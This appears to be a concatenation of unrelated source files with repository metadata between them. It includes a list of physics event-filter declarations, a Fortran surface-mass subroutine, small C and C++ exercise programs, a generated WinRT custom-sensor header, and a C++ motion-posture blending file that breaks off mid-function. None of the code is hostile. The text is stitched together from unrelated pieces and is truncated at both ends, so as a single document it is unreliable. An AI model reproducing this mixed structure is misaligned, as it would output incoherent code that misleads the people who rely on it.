DECLARE_ALGORITHM(HeavyFlavorHadronFilter)
DECLARE_ALGORITHM(DstD0K3piFilter)
DECLARE_ALGORITHM(FourLeptonMassFilter)
DECLARE_ALGORITHM(FourLeptonInvMassFilter)
DECLARE_ALGORITHM(HtoVVFilter)
DECLARE_ALGORITHM(QCDTruthJetFilter)
DECLARE_ALGORITHM(QCDTruthMultiJetFilter)
DECLARE_ALGORITHM(VBFHbbEtaSortingFilter)
DECLARE_ALGORITHM(TopCKMFilter)
DECLARE_ALGORITHM(ForwardProtonFilter )
DECLARE_ALGORITHM(BSubstruct)
DECLARE_ALGORITHM(TopCKMKinFilter)
DECLARE_ALGORITHM(MultiHiggsFilter)
DECLARE_ALGORITHM(XtoVVDecayFilter)
DECLARE_ALGORITHM(XtoVVDecayFilterExtended)
DECLARE_ALGORITHM(VHtoVVFilter)
DECLARE_ALGORITHM(TtHtoVVDecayFilter)
DECLARE_ALGORITHM(SusySubprocessFinder)
DECLARE_ALGORITHM(LeadingPhotonFilter)
DECLARE_ALGORITHM(VHtoVVDiLepFilter)
DECLARE_ALGORITHM(VBFMjjIntervalFilter)
DECLARE_ALGORITHM(JetFilterWithTruthPhoton)
DECLARE_ALGORITHM(Boosted2DijetFilter)
DECLARE_ALGORITHM(DiBjetFilter)
DECLARE_ALGORITHM(LeadingDiBjetFilter)
DECLARE_ALGORITHM(HiggsFilter)
DECLARE_ALGORITHM(TTbarBoostCatFilter)
DECLARE_ALGORITHM(MultiParticleFilter)
DECLARE_ALGORITHM(LeptonPairFilter)
DECLARE_ALGORITHM(DecayPositionFilter)
DECLARE_ALGORITHM(HTFilter)
DECLARE_ALGORITHM(TTbarPlusHeavyFlavorFilter)
DECLARE_ALGORITHM(DuplicateEventFilter)
DECLARE_ALGORITHM(BoostedHadTopAndTopPair)
DECLARE_ALGORITHM(DecaysFinalStateFilter)
DECLARE_ALGORITHM(HTFilter)
DECLARE_ALGORITHM(MissingEtFilter)
DECLARE_ALGORITHM(TrimuMassRangeFilter)
}
| [
"rushioda@lxplus754.cern.ch"
] | rushioda@lxplus754.cern.ch |
cfaf17014ed32196b0aa069d93e5bc2aa39504c5 | 3fe13e073d1a7c3e8beacc71f1570fc8a2ec8692 | /src/cont1/surms1.inc | 556397d34c35f58871412058f945d4329ddd2eda | [
"MIT"
] | permissive | jerebenitez/IFE-simpact-openfoam | 7dbba4ae7ec3aa518277d7fa5f6e0fab42a2cd48 | 2dbcbf3195b22fca1c80ad0da6b3822b6cad5cdf | refs/heads/master | 2021-06-17T09:28:47.097398 | 2021-06-14T21:16:39 | 2021-06-14T21:16:39 | 205,249,068 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,738 | inc | SUBROUTINE surms1(emass)
!.... compute nodal mass associated to surface
IMPLICIT NONE
! dummy arguments
REAL (kind=8), INTENT (IN OUT) :: emass(:,:)
! local variables
INTEGER (kind=4) :: i,j,k,isurf,nsegm,n,n1,n2
REAL (kind=8) :: nmass,l1(3)
TYPE (surf1_db), POINTER :: surf
LOGICAL :: mass(nsurf)
! compute mass
mass = .FALSE.
surf => shead !pointer to first surface
DO isurf=1,nsurf !for each surface
nsegm = surf%nsegm !number of segments defining the surface
IF( surf%density > 0d0)THEN !compute mass
DO n=1,nsegm ! for each segment
n1 = surf%lcseg(1,n) ! first node
n2 = surf%lcseg(2,n) ! second node
l1 = coord(:,n2) - coord(:,n1) ! side 3
CALL vecuni(3,l1,nmass) ! side length
nmass = nmass*surf%density/2d0 ! nodal mass = Total_mass/2
emass(1:3,n1) = emass(1:3,n1) + nmass !add to each node
emass(1:3,n2) = emass(1:3,n2) + nmass
END DO
END IF
IF( ASSOCIATED(surf%lcnod) )THEN
DO i=1,surf%ncnod
j = surf%lcnod(i)
IF(ALL(emass(1:3,j) == 0d0) ) mass(isurf) = .TRUE.
IF(mass(isurf))EXIT
END DO
ELSE
DO i=1,surf%nsegm
DO k=1,2
j = surf%lcseg(k,i)
IF(ALL(emass(1:3,j) == 0d0)) mass(isurf) = .TRUE.
END DO
IF(mass(isurf))EXIT
END DO
END IF
surf => surf%next !pointer to next surface
END DO
RETURN
END SUBROUTINE surms1
| [
"jeremias.benitez@mi.unc.edu.ar"
] | jeremias.benitez@mi.unc.edu.ar |
1bf35ceb136e3ed8da3520ca991144676924014e | 7e337d8f59089010769b45bb2f26e7a31c968a16 | /Divisible Sum Pairs.cpp | 4c240f6ca406f1f91ae7216618f662f5726e5e01 | [] | no_license | shahfaisalsmart/hello_world- | e8c011c485fb7d75e6bd68df5a56e0b8ada05797 | e6ec788bf46b4c38f52049685ba3cdbd80f1e1b4 | refs/heads/master | 2021-01-01T06:46:35.469097 | 2018-03-23T17:51:04 | 2018-03-23T17:51:04 | 97,507,398 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 524 | cpp | #include <stdio.h>
int main(){
int n;
int k,j,sum=0;
scanf("%d %d",&n,&k);
int *a = malloc(sizeof(int) * n);
for(int a_i = 0; a_i < n; a_i++){
scanf("%d",&a[a_i]);
}
for(int a_i = 0; a_i < n; a_i++)
{
for(j=a_i+1;j<n;j++)
{
if((a[a_i]+a[j])%k==0)
{
sum++;
// printf("a=%d",);
}
}
}
printf("%d",sum);
return 0;
}
| [
"noreply@github.com"
] | noreply@github.com |
e3647bcbecab174f42d0c221656f1191f2f571dc | 55962ae5ca79f977dd427788bcc976088282fccd | /src/1117.cpp | 418d480c5d3404b9f29ca97f4f8fb06a53050bd3 | [] | no_license | ShihabAhmed09/Uri-Solutions-Cpp | 499ab2d4f03f82937eb920f982747e536f037881 | e4bed01300f8d6a1a04990ee9a7fc8a148524853 | refs/heads/master | 2020-08-24T14:51:40.172100 | 2019-10-22T15:42:26 | 2019-10-22T15:42:26 | 216,848,431 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 371 | cpp | #include<bits/stdc++.h>
using namespace std;
int main()
{
float n,cnt=0,sum=0,media;
while(1)
{
cin>>n;
if(n<0 || n>10)
cout<< "nota invalida"<<endl;
else
{
cnt++;
sum=sum+n;
if(cnt==2) break;
}
}
media=sum/2;
printf("media = %0.2f\n",media);
return 0;
}
| [
"49798311+ShihabAhmed09@users.noreply.github.com"
] | 49798311+ShihabAhmed09@users.noreply.github.com |
35003c4e450422c8e3f30c9ba39038c20e64a84d | b11c1346faff5041bf94d300e821448fbe2a18f2 | /02HelloWinRTApp/Generated Files/winrt/Windows.Devices.Sensors.Custom.h | dc88eeb3406110e3b551694532e5ec18be4146b0 | [] | no_license | ShiverZm/CxxWinRT_Learn | 72fb11742e992d1f60b86a0eab558ee2f244d8f1 | 66d1ec85500c5c8750f826ed1b6a2199f7b72bbe | refs/heads/main | 2023-01-19T12:09:59.872143 | 2020-11-29T16:15:54 | 2020-11-29T16:15:54 | 316,984,477 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 15,981 | h | // WARNING: Please don't edit this file. It was generated by C++/WinRT v2.0.201026.4
#ifndef WINRT_Windows_Devices_Sensors_Custom_H
#define WINRT_Windows_Devices_Sensors_Custom_H
#include "winrt/base.h"
static_assert(winrt::check_version(CPPWINRT_VERSION, "2.0.201026.4"), "Mismatched C++/WinRT headers.");
#define CPPWINRT_VERSION "2.0.201026.4"
#include "winrt/Windows.Devices.Sensors.h"
#include "winrt/impl/Windows.Foundation.2.h"
#include "winrt/impl/Windows.Foundation.Collections.2.h"
#include "winrt/impl/Windows.Devices.Sensors.Custom.2.h"
namespace winrt::impl
{
template <typename D> WINRT_IMPL_AUTO(Windows::Devices::Sensors::Custom::CustomSensorReading) consume_Windows_Devices_Sensors_Custom_ICustomSensor<D>::GetCurrentReading() const
{
void* value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor)->GetCurrentReading(&value));
return Windows::Devices::Sensors::Custom::CustomSensorReading{ value, take_ownership_from_abi };
}
template <typename D> WINRT_IMPL_AUTO(uint32_t) consume_Windows_Devices_Sensors_Custom_ICustomSensor<D>::MinimumReportInterval() const
{
uint32_t value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor)->get_MinimumReportInterval(&value));
return value;
}
template <typename D> WINRT_IMPL_AUTO(void) consume_Windows_Devices_Sensors_Custom_ICustomSensor<D>::ReportInterval(uint32_t value) const
{
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor)->put_ReportInterval(value));
}
template <typename D> WINRT_IMPL_AUTO(uint32_t) consume_Windows_Devices_Sensors_Custom_ICustomSensor<D>::ReportInterval() const
{
uint32_t value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor)->get_ReportInterval(&value));
return value;
}
template <typename D> WINRT_IMPL_AUTO(hstring) consume_Windows_Devices_Sensors_Custom_ICustomSensor<D>::DeviceId() const
{
void* value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor)->get_DeviceId(&value));
return hstring{ value, take_ownership_from_abi };
}
template <typename D> WINRT_IMPL_AUTO(winrt::event_token) consume_Windows_Devices_Sensors_Custom_ICustomSensor<D>::ReadingChanged(Windows::Foundation::TypedEventHandler<Windows::Devices::Sensors::Custom::CustomSensor, Windows::Devices::Sensors::Custom::CustomSensorReadingChangedEventArgs> const& handler) const
{
winrt::event_token token{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor)->add_ReadingChanged(*(void**)(&handler), put_abi(token)));
return token;
}
template <typename D> typename consume_Windows_Devices_Sensors_Custom_ICustomSensor<D>::ReadingChanged_revoker consume_Windows_Devices_Sensors_Custom_ICustomSensor<D>::ReadingChanged(auto_revoke_t, Windows::Foundation::TypedEventHandler<Windows::Devices::Sensors::Custom::CustomSensor, Windows::Devices::Sensors::Custom::CustomSensorReadingChangedEventArgs> const& handler) const
{
return impl::make_event_revoker<D, ReadingChanged_revoker>(this, ReadingChanged(handler));
}
template <typename D> WINRT_IMPL_AUTO(void) consume_Windows_Devices_Sensors_Custom_ICustomSensor<D>::ReadingChanged(winrt::event_token const& token) const noexcept
{
WINRT_VERIFY_(0, WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor)->remove_ReadingChanged(impl::bind_in(token)));
}
template <typename D> WINRT_IMPL_AUTO(void) consume_Windows_Devices_Sensors_Custom_ICustomSensor2<D>::ReportLatency(uint32_t value) const
{
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor2)->put_ReportLatency(value));
}
template <typename D> WINRT_IMPL_AUTO(uint32_t) consume_Windows_Devices_Sensors_Custom_ICustomSensor2<D>::ReportLatency() const
{
uint32_t value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor2)->get_ReportLatency(&value));
return value;
}
template <typename D> WINRT_IMPL_AUTO(uint32_t) consume_Windows_Devices_Sensors_Custom_ICustomSensor2<D>::MaxBatchSize() const
{
uint32_t value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensor2)->get_MaxBatchSize(&value));
return value;
}
template <typename D> WINRT_IMPL_AUTO(Windows::Foundation::DateTime) consume_Windows_Devices_Sensors_Custom_ICustomSensorReading<D>::Timestamp() const
{
Windows::Foundation::DateTime value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensorReading)->get_Timestamp(put_abi(value)));
return value;
}
template <typename D> WINRT_IMPL_AUTO(Windows::Foundation::Collections::IMapView<hstring, Windows::Foundation::IInspectable>) consume_Windows_Devices_Sensors_Custom_ICustomSensorReading<D>::Properties() const
{
void* value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensorReading)->get_Properties(&value));
return Windows::Foundation::Collections::IMapView<hstring, Windows::Foundation::IInspectable>{ value, take_ownership_from_abi };
}
template <typename D> WINRT_IMPL_AUTO(Windows::Foundation::IReference<Windows::Foundation::TimeSpan>) consume_Windows_Devices_Sensors_Custom_ICustomSensorReading2<D>::PerformanceCount() const
{
void* value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensorReading2)->get_PerformanceCount(&value));
return Windows::Foundation::IReference<Windows::Foundation::TimeSpan>{ value, take_ownership_from_abi };
}
template <typename D> WINRT_IMPL_AUTO(Windows::Devices::Sensors::Custom::CustomSensorReading) consume_Windows_Devices_Sensors_Custom_ICustomSensorReadingChangedEventArgs<D>::Reading() const
{
void* value{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensorReadingChangedEventArgs)->get_Reading(&value));
return Windows::Devices::Sensors::Custom::CustomSensorReading{ value, take_ownership_from_abi };
}
template <typename D> WINRT_IMPL_AUTO(hstring) consume_Windows_Devices_Sensors_Custom_ICustomSensorStatics<D>::GetDeviceSelector(winrt::guid const& interfaceId) const
{
void* result{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensorStatics)->GetDeviceSelector(impl::bind_in(interfaceId), &result));
return hstring{ result, take_ownership_from_abi };
}
template <typename D> WINRT_IMPL_AUTO(Windows::Foundation::IAsyncOperation<Windows::Devices::Sensors::Custom::CustomSensor>) consume_Windows_Devices_Sensors_Custom_ICustomSensorStatics<D>::FromIdAsync(param::hstring const& sensorId) const
{
void* result{};
check_hresult(WINRT_IMPL_SHIM(Windows::Devices::Sensors::Custom::ICustomSensorStatics)->FromIdAsync(*(void**)(&sensorId), &result));
return Windows::Foundation::IAsyncOperation<Windows::Devices::Sensors::Custom::CustomSensor>{ result, take_ownership_from_abi };
}
#ifndef WINRT_LEAN_AND_MEAN
template <typename D>
struct produce<D, Windows::Devices::Sensors::Custom::ICustomSensor> : produce_base<D, Windows::Devices::Sensors::Custom::ICustomSensor>
{
int32_t __stdcall GetCurrentReading(void** value) noexcept final try
{
clear_abi(value);
typename D::abi_guard guard(this->shim());
*value = detach_from<Windows::Devices::Sensors::Custom::CustomSensorReading>(this->shim().GetCurrentReading());
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall get_MinimumReportInterval(uint32_t* value) noexcept final try
{
typename D::abi_guard guard(this->shim());
*value = detach_from<uint32_t>(this->shim().MinimumReportInterval());
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall put_ReportInterval(uint32_t value) noexcept final try
{
typename D::abi_guard guard(this->shim());
this->shim().ReportInterval(value);
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall get_ReportInterval(uint32_t* value) noexcept final try
{
typename D::abi_guard guard(this->shim());
*value = detach_from<uint32_t>(this->shim().ReportInterval());
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall get_DeviceId(void** value) noexcept final try
{
clear_abi(value);
typename D::abi_guard guard(this->shim());
*value = detach_from<hstring>(this->shim().DeviceId());
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall add_ReadingChanged(void* handler, winrt::event_token* token) noexcept final try
{
zero_abi<winrt::event_token>(token);
typename D::abi_guard guard(this->shim());
*token = detach_from<winrt::event_token>(this->shim().ReadingChanged(*reinterpret_cast<Windows::Foundation::TypedEventHandler<Windows::Devices::Sensors::Custom::CustomSensor, Windows::Devices::Sensors::Custom::CustomSensorReadingChangedEventArgs> const*>(&handler)));
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall remove_ReadingChanged(winrt::event_token token) noexcept final
{
typename D::abi_guard guard(this->shim());
this->shim().ReadingChanged(*reinterpret_cast<winrt::event_token const*>(&token));
return 0;
}
};
#endif
#ifndef WINRT_LEAN_AND_MEAN
template <typename D>
struct produce<D, Windows::Devices::Sensors::Custom::ICustomSensor2> : produce_base<D, Windows::Devices::Sensors::Custom::ICustomSensor2>
{
int32_t __stdcall put_ReportLatency(uint32_t value) noexcept final try
{
typename D::abi_guard guard(this->shim());
this->shim().ReportLatency(value);
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall get_ReportLatency(uint32_t* value) noexcept final try
{
typename D::abi_guard guard(this->shim());
*value = detach_from<uint32_t>(this->shim().ReportLatency());
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall get_MaxBatchSize(uint32_t* value) noexcept final try
{
typename D::abi_guard guard(this->shim());
*value = detach_from<uint32_t>(this->shim().MaxBatchSize());
return 0;
}
catch (...) { return to_hresult(); }
};
#endif
#ifndef WINRT_LEAN_AND_MEAN
template <typename D>
struct produce<D, Windows::Devices::Sensors::Custom::ICustomSensorReading> : produce_base<D, Windows::Devices::Sensors::Custom::ICustomSensorReading>
{
int32_t __stdcall get_Timestamp(int64_t* value) noexcept final try
{
zero_abi<Windows::Foundation::DateTime>(value);
typename D::abi_guard guard(this->shim());
*value = detach_from<Windows::Foundation::DateTime>(this->shim().Timestamp());
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall get_Properties(void** value) noexcept final try
{
clear_abi(value);
typename D::abi_guard guard(this->shim());
*value = detach_from<Windows::Foundation::Collections::IMapView<hstring, Windows::Foundation::IInspectable>>(this->shim().Properties());
return 0;
}
catch (...) { return to_hresult(); }
};
#endif
#ifndef WINRT_LEAN_AND_MEAN
template <typename D>
struct produce<D, Windows::Devices::Sensors::Custom::ICustomSensorReading2> : produce_base<D, Windows::Devices::Sensors::Custom::ICustomSensorReading2>
{
int32_t __stdcall get_PerformanceCount(void** value) noexcept final try
{
clear_abi(value);
typename D::abi_guard guard(this->shim());
*value = detach_from<Windows::Foundation::IReference<Windows::Foundation::TimeSpan>>(this->shim().PerformanceCount());
return 0;
}
catch (...) { return to_hresult(); }
};
#endif
#ifndef WINRT_LEAN_AND_MEAN
template <typename D>
struct produce<D, Windows::Devices::Sensors::Custom::ICustomSensorReadingChangedEventArgs> : produce_base<D, Windows::Devices::Sensors::Custom::ICustomSensorReadingChangedEventArgs>
{
int32_t __stdcall get_Reading(void** value) noexcept final try
{
clear_abi(value);
typename D::abi_guard guard(this->shim());
*value = detach_from<Windows::Devices::Sensors::Custom::CustomSensorReading>(this->shim().Reading());
return 0;
}
catch (...) { return to_hresult(); }
};
#endif
#ifndef WINRT_LEAN_AND_MEAN
template <typename D>
struct produce<D, Windows::Devices::Sensors::Custom::ICustomSensorStatics> : produce_base<D, Windows::Devices::Sensors::Custom::ICustomSensorStatics>
{
int32_t __stdcall GetDeviceSelector(winrt::guid interfaceId, void** result) noexcept final try
{
clear_abi(result);
typename D::abi_guard guard(this->shim());
*result = detach_from<hstring>(this->shim().GetDeviceSelector(*reinterpret_cast<winrt::guid const*>(&interfaceId)));
return 0;
}
catch (...) { return to_hresult(); }
int32_t __stdcall FromIdAsync(void* sensorId, void** result) noexcept final try
{
clear_abi(result);
typename D::abi_guard guard(this->shim());
*result = detach_from<Windows::Foundation::IAsyncOperation<Windows::Devices::Sensors::Custom::CustomSensor>>(this->shim().FromIdAsync(*reinterpret_cast<hstring const*>(&sensorId)));
return 0;
}
catch (...) { return to_hresult(); }
};
#endif
}
WINRT_EXPORT namespace winrt::Windows::Devices::Sensors::Custom
{
inline auto CustomSensor::GetDeviceSelector(winrt::guid const& interfaceId)
{
return impl::call_factory<CustomSensor, ICustomSensorStatics>([&](ICustomSensorStatics const& f) { return f.GetDeviceSelector(interfaceId); });
}
inline auto CustomSensor::FromIdAsync(param::hstring const& sensorId)
{
return impl::call_factory<CustomSensor, ICustomSensorStatics>([&](ICustomSensorStatics const& f) { return f.FromIdAsync(sensorId); });
}
}
namespace std
{
#ifndef WINRT_LEAN_AND_MEAN
template<> struct hash<winrt::Windows::Devices::Sensors::Custom::ICustomSensor> : winrt::impl::hash_base {};
template<> struct hash<winrt::Windows::Devices::Sensors::Custom::ICustomSensor2> : winrt::impl::hash_base {};
template<> struct hash<winrt::Windows::Devices::Sensors::Custom::ICustomSensorReading> : winrt::impl::hash_base {};
template<> struct hash<winrt::Windows::Devices::Sensors::Custom::ICustomSensorReading2> : winrt::impl::hash_base {};
template<> struct hash<winrt::Windows::Devices::Sensors::Custom::ICustomSensorReadingChangedEventArgs> : winrt::impl::hash_base {};
template<> struct hash<winrt::Windows::Devices::Sensors::Custom::ICustomSensorStatics> : winrt::impl::hash_base {};
template<> struct hash<winrt::Windows::Devices::Sensors::Custom::CustomSensor> : winrt::impl::hash_base {};
template<> struct hash<winrt::Windows::Devices::Sensors::Custom::CustomSensorReading> : winrt::impl::hash_base {};
template<> struct hash<winrt::Windows::Devices::Sensors::Custom::CustomSensorReadingChangedEventArgs> : winrt::impl::hash_base {};
#endif
}
#endif
| [
"1113673178@qq.com"
] | 1113673178@qq.com |
926278c011145ee93933df058743e3d507132537 | 6719b727d81d062d384cf5bdd247d289b69f11ff | /PyCommon/external_libraries/BaseLib/motion/postureip.cpp | e07ddf6a520f64753182bbedb2251504bd4db03c | [] | no_license | queid7/mmh | 019daa62270d6b72978ad8ed23c40f6b2da98d53 | 1d10688bdaf8ede0ed740e1981264291143027a1 | refs/heads/master | 2020-05-22T13:02:51.057628 | 2017-03-16T09:20:01 | 2017-03-16T09:20:01 | 28,325,992 | 0 | 1 | null | null | null | null | UHC | C++ | false | false | 11,294 | cpp | // PostureIP.cpp: implementation of the PostureIP class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "PostureIP.h"
#include "MotionLoader.h"
#include "constraintmarking.h"
#include "../baselib/math/Filter.h"
#include "../baselib/math/operator.h"
#include "../baselib/math/operatorQuater.h"
#include "my.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
Posture::Posture()
:m_dv(0.f,0.f,0.f)
,m_dq(1.f,0.f,0.f,0.f)
,m_offset_y(0.f)
,m_offset_q(1.f,0.f,0.f,0.f)
,m_rotAxis_y(1.f,0.f,0.f,0.f)
{
}
Posture::Posture(const Posture& other)
:m_dv(0.f,0.f,0.f)
,m_dq(1.f,0.f,0.f,0.f)
,m_offset_y(0.f)
,m_offset_q(1.f,0.f,0.f,0.f)
,m_rotAxis_y(1.f,0.f,0.f,0.f)
{
Clone(&other);
}
vector3 Posture::front()
{
vector3 front;
vector3 lfront(0,0,1);
front.rotate(m_aRotations[0], lfront);
return front;
}
transf Posture::rootTransformation()
{
return transf(m_aRotations[0], m_aTranslations[0]);
}
void Posture::setRootTransformation(transf const& rootTransf)
{
m_aRotations[0]=rootTransf.rotation;
m_aTranslations[0]=rootTransf.translation;
}
void Posture::decomposeRot() const
{
m_aRotations[0].decompose(m_rotAxis_y, m_offset_q);
}
void Posture::Init(int numRotJoint, int numTransJoint)
{
m_aRotations.setSize(numRotJoint);
m_aTranslations.setSize(numTransJoint);
}
void Posture::pack(BinaryFile & bf, int version) const
{
if(version==1)
bf.packInt(numRotJoint()*-1);
else
bf.packInt(numRotJoint());
if(version>=3)
{
bf.packInt(numTransJoint());
for(int i=0; i<numTransJoint(); i++)
bf.pack(m_aTranslations[i]);
}
else
bf.pack(m_aTranslations[0]);
bf.pack(m_conToeL);
bf.pack(m_conToeR);
for(int i=0; i<numRotJoint(); i++)
bf.pack(m_aRotations[i]);
bf.pack(constraint);
bf.pack(m_dv);
bf.pack(m_dq);
bf.packFloat(m_offset_y); //!< m_dv가 포함 하지 않는 y value
bf.pack(m_offset_q);
bf.pack(m_rotAxis_y);
if(version>1)
{
bf.pack(m_additionalLinear);
bf.pack(m_additionalQuater);
}
}
void Posture::unpack(BinaryFile & bf, int version)
{
int numRotJoint=bf.unpackInt();
if(version==1)
{
if(numRotJoint>=0) version=0;
else numRotJoint*=-1;
}
if(version>=3)
{
int numTransJoint=bf.unpackInt();
Init(numRotJoint, numTransJoint);
for(int i=0; i<numTransJoint; i++)
bf.unpack(m_aTranslations[i]);
}
else
{
Init(numRotJoint, 1);
bf.unpack(m_aTranslations[0]);
}
if(version>0)
{
bf.unpack(m_conToeL);
bf.unpack(m_conToeR);
}
for(int i=0; i<numRotJoint; i++)
bf.unpack(m_aRotations[i]);
bf.unpack(constraint);
bf.unpack(m_dv);
bf.unpack(m_dq);
bf.unpackFloat(m_offset_y); //!< m_dv가 포함 하지 않는 y value
bf.unpack(m_offset_q);
bf.unpack(m_rotAxis_y);
if(version>1)
{
bf.unpack(m_additionalLinear);
bf.unpack(m_additionalQuater);
}
}
Posture::~Posture()
{
}
Posture* Posture::clone() const
{
return new Posture(*this);
}
void Posture::_clone(const Posture* pPosture)
{
if(numRotJoint()!= pPosture->numRotJoint())
{
m_aRotations.setSize(pPosture->numRotJoint());
}
if(numTransJoint()!= pPosture->numTransJoint())
{
m_aTranslations.setSize(pPosture->numTransJoint());
}
for(int i=0; i<numTransJoint(); i++)
{
m_aTranslations[i]=pPosture->m_aTranslations[i];
}
for(int i=0; i<numRotJoint(); i++)
{
m_aRotations[i]=pPosture->m_aRotations[i];
}
m_dv = pPosture->m_dv;
m_dq = pPosture->m_dq;
m_offset_y = pPosture->m_offset_y;
m_offset_q = pPosture->m_offset_q;
m_rotAxis_y = pPosture->m_rotAxis_y;
constraint = pPosture->constraint;
m_conToeL = pPosture->m_conToeL;
m_conToeR = pPosture->m_conToeR;
m_additionalLinear = pPosture->m_additionalLinear ;
// 쓰고 싶은대로 쓸것. size는 4의 배수. quaternion blending이 각 4컬럼씩마다 잘라서 수행된다.
m_additionalQuater = pPosture->m_additionalQuater ;
}
void Posture::Blend(const Posture& a, const Posture& b, m_real weight)
{
ASSERT(a.numRotJoint() == b.numRotJoint());
ASSERT(a.numTransJoint() == b.numTransJoint());
if(numRotJoint()!=a.numRotJoint() ||
numTransJoint()!=a.numTransJoint())
{
Init(a.numRotJoint(), a.numTransJoint());
}
m_dv.interpolate(weight, a.m_dv, b.m_dv);
for(int i=0; i<numTransJoint(); i++)
m_aTranslations[i].interpolate(weight, a.m_aTranslations[i], b.m_aTranslations[i]);
for(int i=0; i<numRotJoint(); i++)
m_aRotations[i].safeSlerp(a.m_aRotations[i], b.m_aRotations[i], weight);
m_dq.safeSlerp(a.m_dq, b.m_dq, weight);
m_offset_q.safeSlerp( a.m_offset_q, b.m_offset_q, weight);
m_rotAxis_y.safeSlerp(a.m_rotAxis_y, b.m_rotAxis_y, weight);
m_offset_y = (1.0f-weight)*a.m_offset_y + weight*b.m_offset_y;
m_conToeL.interpolate(weight, a.m_conToeL, b.m_conToeL);
m_conToeR.interpolate(weight, a.m_conToeR, b.m_conToeR);
if(weight>0.5)
{
constraint = b.constraint;
}
else
{
constraint = a.constraint;
}
m_additionalLinear.op2(v2::interpolate(weight), a.m_additionalLinear, b.m_additionalLinear);
m_additionalQuater.op2(v2::interpolateQuater(weight), a.m_additionalQuater, b.m_additionalQuater);
}
void quater_blend(quater const& refq, quater& q, vectorn const& w, matrixn& mat)
{
// method 1: logarithm map
/* vector3 logSum(0,0,0);
quater diff;
for(int i=0; i<mat.rows(); i++)
{
diff.difference(refq, mat.row(i).toQuater());
logSum+=diff.log()*w[i];
}
diff.exp(logSum);
q.mult(diff, refq);
*/
/*
// method 2: sin method
q=refq;*/
// method 3: renormalization
quater sum(0,0,0,0);
quater diff;
for(int i=0; i<mat.rows(); i++)
{
diff.difference(refq, mat.row(i).toQuater());
sum+=diff*w[i];
}
sum.normalize();
q.mult(sum, refq);
}
void quater_blend(quater& q, vectorn const& w, matrixn& mat)
{
quater refq;
refq.blend(w, mat);
quater_blend(refq, q, w, mat);
}
void Posture::Blend(const Posture** apPostures, const vectorn& weight)
{
int n=weight.size();
const Posture& first=*apPostures[0];
if(numRotJoint()!=first.numRotJoint() ||
numTransJoint()!=first.numTransJoint())
{
Init(first.numRotJoint(), first.numTransJoint());
}
vector3 sum_dv, sum_rootTrans;
m_dv.setValue(0,0,0);
for(int j=0; j<numTransJoint(); j++)
m_aTranslations[j].setValue(0,0,0);
m_offset_y=0;
m_conToeL.setValue(0,0,0);
m_conToeR.setValue(0,0,0);
m_real actualWeightL=0;
m_real actualWeightR=0;
// linear terms
for(int i=0; i<n; i++)
{
m_dv.multadd(apPostures[i]->m_dv, weight[i]);
for(int j=0; j<numTransJoint(); j++)
m_aTranslations[j].multadd(apPostures[i]->m_aTranslations[j], weight[i]);
m_offset_y+= apPostures[i]->m_offset_y*weight[i];
if(apPostures[i]->constraint[CONSTRAINT_LEFT_TOE])
{
m_conToeL.multadd(apPostures[i]->m_conToeL, weight[i]);
actualWeightL+=weight[i];
}
if(apPostures[i]->constraint[CONSTRAINT_RIGHT_TOE])
{
m_conToeR.multadd(apPostures[i]->m_conToeR, weight[i]);
actualWeightR+=weight[i];
}
}
if(actualWeightL!=0)
m_conToeL/=actualWeightL;
if(actualWeightR!=0)
m_conToeR/=actualWeightR;
// constraint selecting
constraint = apPostures[0]->constraint;
// constraint blending
/* vectorn constraintSum(NUM_CONSTRAINT);
constraintSum.setAllValue(0);
for(int c=0; c<NUM_CONSTRAINT; c++)
{
for(int i=0; i<n; i++)
constraintSum[c]+=(m_real)((int)(apPostures[i]->constraint[c]))*weight[i];
if(constraintSum[c]>0.5 && apPostures[0]->constraint[c]) constraint.SetAt(c) ;
}
*/
matrixn tempQuaterMat;
tempQuaterMat.setSize(n,4);
// sphere terms
for(int i=0; i<numRotJoint(); i++)
{
for(int j=0; j<n; j++)
tempQuaterMat.row(j).assign(apPostures[j]->m_aRotations[i]);
quater_blend(m_aRotations[i], weight, tempQuaterMat);
}
for(int j=0; j<n; j++)
tempQuaterMat.row(j).assign(apPostures[j]->m_dq);
quater_blend(m_dq, weight, tempQuaterMat);
m_dq.align(quater(1,0,0,0));
for(int j=0; j<n; j++)
tempQuaterMat.row(j).assign(apPostures[j]->m_offset_q);
quater_blend(m_offset_q,weight, tempQuaterMat);
for(int j=0; j<n; j++)
tempQuaterMat.row(j).assign(apPostures[j]->m_rotAxis_y);
